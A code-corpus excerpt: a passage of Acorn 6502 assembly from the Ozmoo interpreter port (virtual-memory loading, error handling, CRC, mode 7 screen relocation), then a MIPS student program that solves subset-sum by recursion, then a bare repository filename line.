VMEM { !ifndef PREOPT { ; Sort vmap into ascending order, preserving the timestamps but using just the ; addresses as keys. This avoids the drive head jumping around during the ; initial load. The build system can't do this sort, because we're sorting ; the truncated list with just vmap_sort_entries not the full list of ; vmap_max_size entries. ; ; This only happens once and it's not a huge list so while we don't want it ; to be really slow, compactness and simplicity of code are also important. ; This is an insertion sort, implemented based on the pseudocode from ; https://en.m.wikipedia.org/wiki/Insertion_sort, which I've relabelled here ; to match the register use in the following code: ; ; x = 1 ; while x < length(vmap_z) ; temp = vmap_z[x] ; y = x - 1 ; while y >= 0 and vmap_z[y] > temp ; vmap_z[y+1] = vmap_z[y] ; y = y - 1 ; end while ; vmap_z[y+1] = temp ; x = x + 1 ; end while ; ; Invariants: ; 1 <= x <= length(vmap_z) <= vmap_max_size <= 255 ; -1 <= y < x, so -1 <= y <= 254 ; ; This takes about 0.42 seconds to sort 255 shuffled entries at 2MHz; that's ; not great but it's not terrible. It takes about 0.1 seconds to sort 122 ; shuffled entries, which is probably a more typical case. Given a sorted ; list - as will happen if the preopt mode has not been used - it takes ; about 0.02 seconds to "sort" 255 entries, so there's no significant ; performance penalty when this is not doing anything useful. ; (We could simply not include this code if we don't have any preopt data, ; but it's discardable init code so it's not really harmful and it seems ; best for support purposes to keep the code identical whether or not preopt ; data is supplied or not.) ldx #1 .outer_loop lda vmap_z_l,x sta zp_temp lda vmap_z_h,x sta zp_temp + 1 and #vmem_highbyte_mask sta zp_temp + 4 txa tay .inner_loop dey lda vmap_z_h,y and #vmem_highbyte_mask cmp zp_temp + 4 bne + lda vmap_z_l,y cmp zp_temp beq .exit_inner_loop + bcc .exit_inner_loop lda vmap_z_l,y sta vmap_z_l + 1,y lda vmap_z_h,y sta vmap_z_h + 1,y tya bne .inner_loop dey .exit_inner_loop ; We can't omit this iny and use vmap_z_[lh] + 1,y below to compensate ; because Y may be -1 (255) and so they're not equivalent. iny lda zp_temp sta vmap_z_l,y lda zp_temp + 1 sta vmap_z_h,y inx cpx vmap_sort_entries bne .outer_loop !ifndef ACORN_NO_DYNMEM_ADJUST { ; The initial vmap created by the build system assumes nonstored_blocks == ; ACORN_INITIAL_NONSTORED_BLOCKS, so if we changed nonstored_blocks earlier ; we need to adjust the vmap to compensate. If we didn't adjust it, this ; code is a no-op. As the vmap is now sorted by address we just need to find ; the first entry which doesn't correspond to dynamic memory and move ; everything down so that entry becomes the first entry in the vmap. The ; space freed up at the end of the vmap by this move is filled with dummy ; entries so those entries will be used first when the game needs to load ; more blocks from disc. SFTODOLABEL2 ldx #255 .find_first_non_promoted_entry_loop inx lda vmap_z_h,x and #vmem_highbyte_mask bne .found_first_non_promoted_entry lda vmap_z_l,x cmp nonstored_blocks bcc .find_first_non_promoted_entry_loop .found_first_non_promoted_entry txa beq .no_dynmem_promotion ldy #0 .vmap_move_down_loop cpx #vmap_max_size beq .use_dummy_entry lda vmap_z_h,x sta vmap_z_h,y lda vmap_z_l,x inx bne + ; Always branch .use_dummy_entry ; We use $0101 as a dummy entry; this has the oldest possible timestamp so ; the entry will be re-used ASAP and because it has the low bit of the ; address set it can never accidentally match a lookup. (We could use 0 in ; practice; that would never match a lookup because address 0 is guaranteed ; to be dynamic memory so we will never search the vmap for it. But it seems ; a little clearer to use $0101, and this needs to execute on all machines ; so we can't micro-optimise by using stz.) lda #1 sta vmap_z_h,y + sta vmap_z_l,y iny cpy vmap_max_entries bne .vmap_move_down_loop .no_dynmem_promotion } ; Debugging code - use this in conjunction with --print-vm. !if 0 { jsr streams_init ; vmap_used_entries is set later in normal use, but set it early here so ; print_vm shows the entire vmap. lda vmap_max_entries sta vmap_used_entries lda #'X' jsr s_printchar lda #>story_start jsr print_byte_as_hex lda nonstored_blocks jsr print_byte_as_hex jsr newline jsr osrdch } ; Now we've got vmap how we want it, load the corresponding blocks into ; memory and initialise vmap_used_entries. (This roughly corresponds to the ; C64 load_suggested_pages subroutine.) !ifdef ACORN_TURBO_SUPPORTED { bit is_turbo bpl .normal_tube_load ; On a turbo second processor we don't do any preloading of the host cache ; so we just use a straightforward load loop like the non-tube-cache case ; below. stz vmap_index !ifdef ACORN_TUBE_CACHE { lda #$ff sta osword_cache_index_offered sta osword_cache_index_offered + 1 } .turbo_load_loop jsr load_blocks_from_index inc vmap_index lda vmap_index cmp vmap_max_entries bne .turbo_load_loop sta vmap_used_entries jmp .all_loading_done .normal_tube_load } !ifdef ACORN_TUBE_CACHE { ; SFTODO: These labels should probably start with a "." inflated_vmap_max_entries = zp_temp from_index = zp_temp + 1 to_index = vmap_index load_scratch_space = flat_ramtop - vmem_blocksize SFTODOLABELX2 ; vmap_max_entries was deliberately artificially high up to this point so ; we'd retain and sort more of the initial vmap; set it to the correct value ; reflecting the size of the vmap Ozmoo's virtual memory has to work with. ; SFTODO: Worth noting that here - and might be useful in some other code ; too - we are calculating using known-at-build-time values. I could ; potentially simplify/shorten the code in a few places by not treating this ; dynamically, e.g. we wouldn't need the code to populate .game_blocks in ; the first place. (on SWR builds the dynmem growth optimisation means ; nonstored_blocks is not precisely known at build time, but that's not an ; issue for a tube build) This might also simplify some corner cases in the ; "grow nonstored_blocks" logic, because the game size is no longer a ; runtime variable. I just worry a little bit about this breaking ; already-not-supposed-to-work-but-sort-of-does-just-about things where a ; game developer wants to switch in an updated data file without going ; through the Ozmoo build process. lda vmap_max_entries sta inflated_vmap_max_entries lda #>(flat_ramtop - story_start) ldx .game_blocks + 1 bne + cmp .game_blocks bcc + lda .game_blocks + sec sbc nonstored_blocks lsr sta vmap_max_entries sta vmap_used_entries ; Adjust .host_cache_size so the following load loop won't try to put "too ; much" into the host cache; if this happens we might not have enough blocks ; to load into the local virtual memory cache and so some vmap entries would ; be present but not have actually been loaded. (This can happen because the ; cutover timestamp isn't that precise due to limited timestamp resolution, ; especially for Z4+ games.) Note that this doesn't actually stop us using ; more of the host cache; we will offer it blocks willy-nilly during play ; and if it has space it will hold onto them. SFTODOLABELX3 lda inflated_vmap_max_entries sec sbc vmap_max_entries sta .host_cache_size ; We now need to load the inflated_vmap_max_entries blocks in the vmap from ; disk; vmap_max_entries blocks will go into our local memory as normal, the ; remainder need to be handed over to the host cache. We want the newer ; (higher timestamp) blocks in local memory, but remember vmap is sorted by ; block address to avoid the disk head jumping around. We use knowledge of ; how the build system generates the timestamps on vmap to identify a ; timestamp cutover point which will (except for the fact that the same ; timestamp can occur on multiple entries) separate the vmap into two chunks ; of the required sizes. (If the cutover timestamp is calculated ; incorrectly, we will still load everything we should, but newer blocks ; will tend to be in the host cache when we'd prefer them to be in local ; memory.) .vmem_blocks = ((>(flat_ramtop - story_start)) - ACORN_INITIAL_NONSTORED_BLOCKS) / vmem_block_pagecount .cutover_timestamp = int(ACORN_TUBE_CACHE_MAX_TIMESTAMP + ((float(.vmem_blocks) / vmap_max_size) * (ACORN_TUBE_CACHE_MIN_TIMESTAMP - ACORN_TUBE_CACHE_MAX_TIMESTAMP))) and ($ff xor vmem_highbyte_mask) ; Work through the blocks in vmap, loading each in turn and offering it to ; the host cache if it's old and there's room, and keeping it loaded into ; local memory otherwise. We keep doing this until we've loaded ; vmap_max_entries blocks into local memory (blocks offered to the host ; cache don't count) or until we've loaded all the blocks in vmap. lda #0 sta from_index sta to_index lda #$ff sta osword_cache_index_offered sta osword_cache_index_offered + 1 .first_load_loop ldx from_index ldy to_index lda vmap_z_l,x sta vmap_z_l,y lda vmap_z_h,x sta vmap_z_h,y jsr load_blocks_from_index ldy to_index lda vmap_z_h,y ; and #$ff xor vmem_highbyte_mask ; not necessary as we're doing a >= test cmp #.cutover_timestamp + 1 bcs .dont_put_in_cache + ldx .host_cache_size beq .dont_put_in_cache dec .host_cache_size and #$ff xor vmem_highbyte_mask sta osword_cache_index_offered_timestamp_hint ; load_blocks_from_index will have set osword_cache_index_requested lda osword_cache_index_requested sta osword_cache_index_offered lda osword_cache_index_requested + 1 sta osword_cache_index_offered + 1 jmp .continue .dont_put_in_cache lda #$ff sta osword_cache_index_offered sta osword_cache_index_offered + 1 inc to_index .continue inc from_index lda to_index cmp vmap_max_entries bne .first_load_loop ; We may have already loaded all the blocks, but if we haven't we now need ; to start re-using vmap[vmap_max_entries - 1] to load the rest. (We can ; only load into local memory and we've used it all.) We no longer have the ; luxury of (easily) putting the blocks with older timestamps into the host ; cache and keeping the younger ones in local memory, but if we chose the ; cutover timestamp correctly we should end up with at most one misplaced ; block in each cache. SFTODO: I'M NOT SURE IT'S AS PRECISE AS ONE MISPLACED BLOCK, DUE TO LACK OF TIMESTAMP RESOLUTION - IT MAY BE ONE MISPLACED *TIMESTAMP*. IT ISN'T THAT BIG A DEAL, BUT THINK ABOUT THIS AND UPDATE THIS COMMENT. The misplaced block in the host cache will be the ; newest block in the host cache so it will spend a long time in there ; before being discarded, which should give plenty of opportunity for it to ; be requested during gameplay and moved into local memory before it's lost. ; SFTODO: vmap_index is an alias for to_index, maybe use to_index in the follow loop to match the previous loop? This (double check) is just a labelling change, the code would be identical. dec vmap_index ; set vmap_index = vmap_max_entries - 1 .second_load_loop ldx from_index cpx inflated_vmap_max_entries beq .second_load_loop_done ldy vmap_index lda vmap_z_l,y sta osword_cache_index_offered lda vmap_z_h,y and #vmem_highbyte_mask sta osword_cache_index_offered + 1 lda vmap_z_h,y and #$ff xor vmem_highbyte_mask sta osword_cache_index_offered_timestamp_hint lda vmap_z_l,x sta vmap_z_l,y lda vmap_z_h,x sta vmap_z_h,y jsr load_blocks_from_index inc from_index jmp .second_load_loop .second_load_loop_done ; Now we've finished the initial load, specify no timestamp hint for cache ; operations; this setting will remain untouched for the rest of the game. lda #osword_cache_no_timestamp_hint sta osword_cache_index_offered_timestamp_hint } else { ; not ACORN_TUBE_CACHE ; Load the blocks in vmap. lda #0 sta vmap_index - jsr load_blocks_from_index inc vmap_index lda vmap_index cmp vmap_max_entries bne - SFTODOLABEL4 sta vmap_used_entries } .all_loading_done !ifdef ACORN_SWR { ; The load loop may have left the last bank of sideways RAM paged in; we ; need to page the default bank back in. +acorn_swr_page_in_default_bank_using_y } } ; End of !ifndef PREOPT } ; End of !ifdef VMEM ; Calculate CRC of block 0 before it gets modified, so we can use it later ; to identify the game disc after a save or restore. lda #0 ldx #<story_start ldy #>story_start jsr calculate_crc ; corrupts some zp_temp locations stx game_disc_crc sty game_disc_crc + 1 } ; End of acorn_deletable_init_inline !ifdef ACORN_SWR { !macro acorn_swr_page_in_default_bank_using_y { !ifdef ACORN_SWR_BIG_DYNMEM { +acorn_page_in_bank_using_y ram_bank_list } else { +acorn_page_in_bank_using_y z_pc_mempointer_ram_bank } } } ; Acorn-specific initialization to carry out in deletable_screen_init_2. This is ; quite late in the initialization process - in particular it happens after the ; lengthy loading process in acorn_deletable_init_inline. !macro acorn_deletable_screen_init_2_inline { !ifdef ACORN_NO_SHADOW { ; It's not safe to do vdu_cls without having a text window in effect. ; Normally the one set up when we first entered this version of mode 7 is ; in effect, but if there's been any output (e.g. due to disc errors) via ; s_printchar between then and now we may no longer have one in effect. ; s_printchar normally takes care of creating one as needed, but since we're ; going to do vdu_cls directly we need to take care of this. +define_mode_7_3c00_text_window_inline lda #vdu_cls jsr oswrch } else { ; Set the desired mode. If we're already in the right mode we don't reselect ; it, to avoid the screen flashing briefly to black. This is deletable init ; code so we can afford minor luxuries like this. lda #osbyte_read_screen_mode jsr osbyte cpy screen_mode beq .already_in_right_mode lda #vdu_set_mode jsr oswrch lda screen_mode ora #128 ; force shadow mode on jsr oswrch jmp .mode_set .already_in_right_mode ; Clear the screen; this is mostly unnecessary, but for Z3 games which are ; loading from the loader in mode 7 it clears any leftover text on the top ; line of the screen. lda #vdu_cls jsr oswrch .mode_set ; Setting the mode will have turned the cursor back on, so fix that. jsr init_cursor_control ; We must re-initialise screenkernal to pick up the details of the new mode. jsr screenkernal_init ; We must also reset the window sizes; we do this by re-executing ; deletable_screen_init_1. jsr deletable_screen_init_1 } !ifdef ACORN_HW_SCROLL { ldx #1 ldy screen_mode cpy #7 bne + dex + stx use_hw_scroll } jsr update_colours } ; End of acorn_deletable_screen_init_2_inline !macro clean_up_and_quit_inline { ; TODO: Should this print something like "[Press SPACE]", flush keyboard ; buffer and wait for SPACE before continuing? Maybe also adding a blank ; line of output before we call osbyte_enter_language for neatness. Apart ; from looking nicer, this might have a useful gameplay function as entering ; BASIC could cause text to scroll which the user hasn't read yet, whereas ; our "[Press SPACE]" prompt would be done under control of Ozmoo's paging. !ifdef ACORN_NO_SHADOW { jsr undo_mode_7_3c00 } jsr set_os_normal_video jsr turn_on_cursor ldx #0 jsr do_osbyte_rw_escape_key !ifdef ACORN_CURSOR_PASS_THROUGH { jsr do_osbyte_set_cursor_editing_x_0 } !ifdef ACORN_FUNCTION_KEY_PASS_THROUGH { lda #osbyte_rw_function_key_status ldx #1 ; default - expand as normal soft key jsr do_osbyte_y_0 lda #osbyte_rw_shift_function_key_status ldx #$80 ; default - generate $80+n jsr do_osbyte_y_0 } ; Re-enter the current language. re_enter_language lda #osbyte_enter_language re_enter_language_ldx_imm ldx #$ff jsr osbyte ; never returns } ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; OS error handling and associated routines ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; error_handler ldy .error_handler_newlines beq + - lda #13 jsr .error_handler_print_char dey bne - + ldy #1 - lda (error_ptr), y beq + jsr .error_handler_print_char iny bne - ; Always branch ; The following jmp will be patched by code which wants to gain control ; after an error. .error_handler_jmp + jmp .press_break default_error_handler_newlines = 2 .error_handler_newlines !byte default_error_handler_newlines .press_break ; We don't use print_following_string here because we don't want to assume ; Ozmoo's own printing mechanisms are properly initialized. jsr error_print_following_string !text " - press BREAK",0 - jmp - ; Depending on what's happening when an error occurs, we need to output using ; different primitives. We therefore always use this subroutine and it gets ; patched at runtime. .error_handler_print_char jmp s_printchar ; Like print_following_string, but using .error_handler_print_char. error_print_following_string pla sta .error_print_following_string_lda + 1 pla sta .error_print_following_string_lda + 2 - inc .error_print_following_string_lda + 1 bne + inc .error_print_following_string_lda + 2 + .error_print_following_string_lda lda $ffff beq + jsr .error_handler_print_char jmp - + lda .error_print_following_string_lda + 2 pha lda .error_print_following_string_lda + 1 pha rts error_print_s_printchar = 0 error_print_osasci = 1 .error_print_table_l !byte <s_printchar !byte <osasci .error_print_table_h !byte >s_printchar !byte >osasci ; Allow trapping of errors signalled by the OS via BRKV. Used like this: ; ldx #2 ; number of newlines to print before any error ; ldy #n ; type of printing to use if an error occurs (0 s_printchar, 1 osasci) ; jsr setjmp ; beq ok ; ; error occurred, do something ; jsr set_default_error_handler ; before returning ; rts ; ok ; ; do something that might cause an error ; jsr set_default_error_handler ; errors after this point aren't our problem setjmp stx .error_handler_newlines lda .error_print_table_l,y sta .error_handler_print_char + 1 lda .error_print_table_h,y sta .error_handler_print_char + 2 lda #<.setjmp_error_handler sta .error_handler_jmp + 1 lda #>.setjmp_error_handler sta .error_handler_jmp + 2 !ifdef ACORN_SWR { ; The OS will page the current language back in on BRK, so we need to save ; the current bank and restore it in .setjmp_error_handler. lda romsel_copy sta jmp_buf_ram_bank } ; We need to save the contents of the stack, because they may be corrupted ; when an error message is generated. (They probably won't be, but we can't ; rely on it.) As a nice side effect of this, the return address for our ; caller is saved so .setjmp_error_handler can simply rts after restoring ; the stack. ; SFTODO: If jmp_buf is made smaller, we could probably fairly easily ; detect overflow - initialize y with -buffer_size, do sta jmp_buf+1+buffer_size,y ; and if the bne after the iny isn't taken we've overflowed. There might be ; an off by one error in that, I'm just sketching the idea out. This is ; tempting, *but* at the moment jmp_buf is going to live in $400-800 and ; (except for the possibility of starting code at say $600 on 2P) we have ; loads of free space down there, so adding a few bytes of code to the VM ; to detect overflow and cause a fatal error will eat into valuable memory ; for the sake of optimising use of a currently not-scare resource. Think ; about it, maybe convert this to an SF: comment. tsx stx jmp_buf ldy #0 - inx beq + lda stack,x sta jmp_buf+1,y iny bne - + ; Z flag is set rts .setjmp_error_handler ldx jmp_buf txs ldy #0 - inx beq + lda jmp_buf+1,y sta stack,x iny bne - + !ifdef ACORN_SWR { +acorn_page_in_bank_using_a jmp_buf_ram_bank } lda #1 ; Z flag is clear rts set_default_error_handler lda #default_error_handler_newlines sta .error_handler_newlines lda #<s_printchar sta .error_handler_print_char + 1 lda #>s_printchar sta .error_handler_print_char + 2 lda #<.press_break sta .error_handler_jmp + 1 lda #>.press_break sta .error_handler_jmp + 2 .set_default_error_handler_rts rts ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; C64 kernal_readtime emulation ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; The Acorn OS time counter is a 5 byte value, whereas (ignoring the ; difference in resolution) the Commodore one is 3 bytes. Because the Acorn ; OS time counter may have an arbitrarily large value (perhaps some kind of ; soft RTC solution) when we start up and we don't want to zero it, we read ; the initial value and subtract that from any subsequent reads. !macro init_readtime_inline { lda #osword_read_clock ldx #<initial_clock ldy #>initial_clock jsr osword } kernal_readtime .current_clock = scratch_page lda #osword_read_clock ldx #<.current_clock ldy #>.current_clock jsr osword ldx #(256-5) sec - lda .current_clock-(256-5),x sbc initial_clock-(256-5),x sta .current_clock-(256-5),x inx bne - ; The Acorn clock is in centiseconds; a PAL C64 would use fiftieths of a ; second, so halve the value before we return it. ldx #4 clc - ror .current_clock,x dex bpl - ; All the above means we're at no more or less risk than a C64 of having the ; time roll over during a game. It would take >3.8 days for this to happen. ldy .current_clock+2 ldx .current_clock+1 lda .current_clock+0 rts ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ACORN_NO_SHADOW support (mode 7 screen at $3c00 instead of $7c00) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; If we have no shadow RAM, we need to relocate the mode 7 screen to $3c00 to ; create a contiguous area of RAM from $4000-$c000. See ; https://stardot.org.uk/forums/viewtopic.php?f=54&t=20149 for more discussion ; on this. !ifdef ACORN_NO_SHADOW { !ifndef ACORN_SWR { !error "ACORN_NO_SHADOW only makes sense with ACORN_SWR" } !ifdef ACORN_HW_SCROLL { ; The OS can't hardware scroll the mode 7 screen at this non-standard ; location. !error "ACORN_HW_SCROLL is not compatible with ACORN_NO_SHADOW" } !macro make_acorn_screen_hole { .tolerance = 256 !if * <= $3c00 { !if ($3c00 - *) <= .tolerance { acorn_screen_hole_start = * !fill $4000 - *, 'X' acorn_screen_hole_end } } } !macro make_acorn_screen_hole_jmp { .jmp_size = 3 .tolerance = 256 !if * <= ($3c00 - .jmp_size) { !if ($3c00 - *) <= .tolerance { jmp acorn_screen_hole_end acorn_screen_hole_start = * !fill $4000 - *, 'X' acorn_screen_hole_end } } } ; On $e00 builds the binary is likely to fit entirely below the screen at $3c00. ; We need the stack and story to be contiguous, so we must insert a large enough ; hole at this point even if we're not close to $3c00. ; ; .swap_pointers_for_save will temporarily corrupt the last few bytes of the ; screen memory just below the start of the stack (i.e. just below $4000), but ; this shouldn't actually be visible because we're using software scrolling and ; the mode 7 screen data actually only occupies the first 40*25 bytes at $3c00, ; so it's not necessary to include some extra padding at $4000 to avoid this. ; SFTODO: BE GOOD TO TEST THIS! !macro make_acorn_screen_hole_before_stack { !if * <= $3c00 { acorn_screen_hole_start = * !fill $4000 - *, 'X' acorn_screen_hole_end } } !macro check_acorn_screen_hole { ; This check is important to ensure the no shadow RAM build doesn't crash, ; but when the check fails, we need to be able to disable it in order to ; allow assembly to complete so we can look at the acme report output and ; decide where to add a +make_acorn_screen_hole invocation. !ifndef ACORN_DISABLE_SCREEN_HOLE_CHECK { !ifndef acorn_screen_hole_start { !error "Acorn screen hole has not been added" } else { !if acorn_screen_hole_start > $3c00 { !error "Acorn screen hole starts too late" } !if acorn_screen_hole_end < $4000 { !error "Acorn screen hole ends too soon" } } } } ; This macro is like an initialization subroutine, but by using a macro we ; can place it in the discardable init code while still having it in this file ; where it logically belongs. !macro set_up_mode_7_3c00_inline { ; In reality we don't expect to be called with our handlers already ; installed, but be paranoid - this is deletable init code so it's mostly ; free. lda wrchv cmp #<our_wrchv bne + lda wrchv + 1 cmp #>our_wrchv beq .set_up_mode_7_3c00_done + ; Copy the contents of the current screen for neatness. ldx #$7c ldy #$3c jsr screen_copy ; Reprogram the CRTC and poke the OS variables to mostly compensate. lda #crtc_screen_start_high sta crtc_register lda #$20 sta crtc_data lda #$3c sta bottom_of_screen_memory_high sta display_start_address + 1 ; Define a text window and reposition the cursor; doing this forces the OS ; to notice the changes we just made. The text window also prevents hardware ; scrolling; all the output from the main Ozmoo code will be protected using ; text windows anyway since ACORN_HW_SCROLL is not defined, but having one ; in place straight away is useful insurance. lda #osbyte_read_cursor_position jsr osbyte +define_mode_7_3c00_text_window_inline jsr do_oswrch_vdu_goto_xy ; Install our handlers to fix some problems with the OS's handling of this ; unofficial mode. lda wrchv sta call_old_wrchv + 1 lda wrchv + 1 sta call_old_wrchv + 2 lda #<our_wrchv sta wrchv lda #>our_wrchv sta wrchv + 1 lda keyv sta call_old_keyv + 1 lda keyv + 1 sta call_old_keyv + 2 lda #<our_keyv sta keyv lda #>our_keyv sta keyv + 1 .set_up_mode_7_3c00_done } !macro define_mode_7_3c00_text_window_inline { lda #vdu_define_text_window jsr oswrch lda #0 jsr oswrch lda #24 jsr oswrch lda #39 jsr oswrch lda #0 jsr oswrch } !macro adjust_cursor_inline { lda #crtc_cursor_start_high sta crtc_register lda text_cursor_address + 1 sec sbc #$1c sta crtc_data } our_wrchv call_old_wrchv jsr $ffff ; patched during initialization pha +adjust_cursor_inline pla rts our_keyv bcc call_old_keyv bvc call_old_keyv ; keyboard timer interrupt entry jsr call_old_keyv php pha bit vdu_status bvc .not_cursor_editing +adjust_cursor_inline .not_cursor_editing pla plp rts call_old_keyv jmp $ffff ; patched during initialization undo_mode_7_3c00 ; Reset the vectors we fiddled with. lda call_old_wrchv + 1 sta wrchv lda call_old_wrchv + 2 sta wrchv + 1 lda call_old_keyv + 1 sta keyv lda call_old_keyv + 2 sta keyv + 1 ; Switch to normal mode 7. This clears the screen, so we copy the contents ; back and restore the cursor position. This is maybe overkill, but it's ; important any final message shown when the game quits can be seen by the ; user. lda #osbyte_read_cursor_position jsr osbyte lda #vdu_set_mode jsr oswrch lda #7 jsr oswrch jsr do_oswrch_vdu_goto_xy ldx #$3c ldy #$7c ; fall through to screen_copy screen_copy stx .screen_copy_lda_abs_y + 2 sty .screen_copy_sta_abs_y + 2 ldx #4 .screen_copy_loop ldy #0 .screen_copy_loop2 .screen_copy_lda_abs_y lda $ff00,y ; patched .screen_copy_sta_abs_y sta $ff00,y ; patched iny bne .screen_copy_loop2 inc .screen_copy_lda_abs_y + 2 inc .screen_copy_sta_abs_y + 2 dex bne .screen_copy_loop rts } ; End of !ifdef ACORN_NO_SHADOW ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Miscellaneous utility routines ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Like printstring_raw, but using OSASCI. printstring_os stx .printstring_os_lda + 1 sta .printstring_os_lda + 2 - .printstring_os_lda lda $ffff beq .calculate_crc_rts jsr osasci inc .printstring_os_lda + 1 bne - inc .printstring_os_lda + 2 bne - ; Always branch ; Calculate a CRC over A bytes of data at YX (A=0 => 256 bytes), returning it in ; YX. calculate_crc ; This must not use the same location as .result in acorn-disk.asm as otherwise ; when .get_game_disc_back calls calculate_crc it will be overwritten. .crc = zp_temp + 2 ; 2 bytes sta .cpy_imm + 1 stx .eor_abs + 1 sty .eor_abs + 2 lda #0 sta .crc + 1 sta .crc tay .nbyt lda .crc + 1 .eor_abs eor $ffff,y sta .crc + 1 ldx #8 .loop lda .crc + 1 rol bcc .b7z lda .crc + 1 eor #8 sta .crc + 1 lda .crc eor #$10 sta .crc .b7z rol .crc rol .crc + 1 dex bne .loop iny .cpy_imm cpy #$ff bne .nbyt ldx .crc ldy .crc + 1 .calculate_crc_rts rts ; Two wrappers for calling osbyte_set_cursor_editing to reduce code size; we do ; this in several places. do_osbyte_set_cursor_editing_x_0 ldx #0 do_osbyte_set_cursor_editing lda #osbyte_set_cursor_editing bne do_osbyte_y_0 ; Always branch ; Two wrappers for calling osbyte_rw_escape_key to reduce code size; we do this ; in several places. do_osbyte_rw_escape_key lda #osbyte_rw_escape_key do_osbyte_y_0 ldy #0 jmp osbyte ; Move the OS cursor to (X, Y). do_oswrch_vdu_goto_xy lda #vdu_goto_xy jsr oswrch txa jsr oswrch tya jmp oswrch ; SF: ENHANCEMENT: It would potentially be possible to support bold and ; underlined text in modes other than 7, although we'd either need to do it via ; OSWORD 10 and UDG redefinition (which is probably quite slow) or install ; some kind of custom driver around OSWRCH and have that run on the host even if ; we're using a second processor. As a "cheap" version, it would be possible to ; use colours in mode 1 for bold, but I'm not particularly keen to support this ; just for one mode which probably no one would use. ; ; SF: ENHANCEMENT: It would also with a bit more effort probably be possible ; to use a proportionally spaced font in modes other than 7, though this would ; be a more intrusive code change. ; ; SFTODO: Once the upstream dynamic memory access rework is completed and merged, it *may* be possible to do things like (on a turbo copro) use bank 0 free memory plus the whole of bank 1 for dynamic memory, and have banks 2 and 3 for virtual memory cache, or to promote the whole of a game <= ~210K to be pure dynamic memory. Or if we have more main+SWR than the game size, to promote the whole game to dynamic memory and do a simple absolute Z-machine to bank address conversion. I suspect it won't allow >64K dynamic memory, but just making this note so I can consider it when I see how upstream change works. }
2/hw2.asm
bhbduman/cseComputer_Organization
0
178995
<reponame>bhbduman/cseComputer_Organization<filename>2/hw2.asm .data #int arraySize = MAX_SIZE; arraySize: .word 0 #int arr[MAX_SIZE]; arr: .space 400 #int num; num: .word 0 #int returnVal; returnVal: .word 0 #int returnVal1=0, returnVal2=0; returnVal1: .word 0 returnVal2: .word 0 possible: .asciiz "Possible!" impossible: .asciiz "Not Possible" newline: .asciiz "\n" space: .asciiz " " bspace: .asciiz "\b" allelements: .asciiz "Summation of all array elements provides the given value" smaller: .asciiz "The Summation given array is smaller than the value" .text main: #cin >> arraySize; li $v0, 5 syscall sw $v0,arraySize #cin >> num; li $v0, 5 syscall sw $v0,num #for (int i = 0; i < arraySize; i++){ and $s0, $s0, $zero lw $t0, arraySize li $s1,0 fill: beq $s0,$t0,next #cin >> arr[i]; li $v0, 5 syscall add $t9,$t9,$v0 sw $v0, arr($s1) add $s1,$s1,4 addi $s0,$s0,1 j fill next: la $a0,newline li $v0, 4 syscall lw $t8,num #if equal to num it wont go to recursive call it will print sum of array is equal to given value beq $t9,$t8,equaltosum #if sum of array element less than given input it wont go to recursive call it only print the sum of array smaller than num blt $t9,$t8,lessthannum #CheckSumPossibility(num, arr, arraySize); lw $a0, num lw $a2, arraySize addi $a1,$a2,-1#indexlast jal isPossible move $a0, $v0 beq $a0,1,possiblejump #cout << "Not possible" << endl; la $a0,impossible back: li $v0, 4 syscall j halt#exit equaltosum: la $a0,allelements li $v0, 4 syscall #cout << "Possible!" <<endl; possiblejump: la $a0,possible j back lessthannum: la $a0,smaller li $v0, 4 syscall j back #int CheckSumPossibility(int num, int arr[], int size){ isPossible: #int returnVal1=0, returnVal2=0; sw $zero,returnVal2 sw $zero,returnVal1 #if (num == 0){ bnez $a0,continue #cout<<","; la $a0,newline li $v0, 4 syscall # return 1; li $v0,1 jr $ra continue: #if(size < 0 || num <0){ sle $t1,$a2,$zero slt $t2,$a0,$zero or $t3,$t2,$t1 beqz $t3,continue2 #return 0; li $v0,0 jr $ra continue2: sub $sp, $sp, 16 sw $ra, 0($sp) #if(CheckSumPossibility( num-arr[size-1], arr, size-1)){ sw $a0, 4($sp)#num sw $a2, 8($sp)#arraysize sub $a2,$a2,1#size-1 sll $t4, $a2,2 lw $t5,arr($t4)#arr[size-1] sub $a0, $a0,$t5#num-arr[size-1] jal isPossible #returnVal1= 1; sw $v0, 12($sp)#save return(first call) beq $v0, 1,print j donotprint print: #cout<<arr[size-1]<<" "; lw $a2, 8($sp) sub $t6,$a2,1 sll $t4, $t6,2 lw $a0,arr($t4) li $v0, 1 syscall la $a0,newline li $v0, 4 syscall donotprint: lw $a0, 4($sp)# restorenum lw $a2, 8($sp)#restore arraysize #if(CheckSumPossibility(num, arr, size-1)){ sub $a2,$a2,1#size-1 jal isPossible #returnVal1= 1; lw $s0, 12($sp) #restore first recursive #return returnVal1 || returnVal2; or $v0,$s0 ,$v0 lw $ra,0($sp) add $sp, $sp, 16 jr $ra halt: li $v0, 10 # syscall code 10 is for exit. syscall
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1762.asm
ljhsiun2/medusa
9
241129
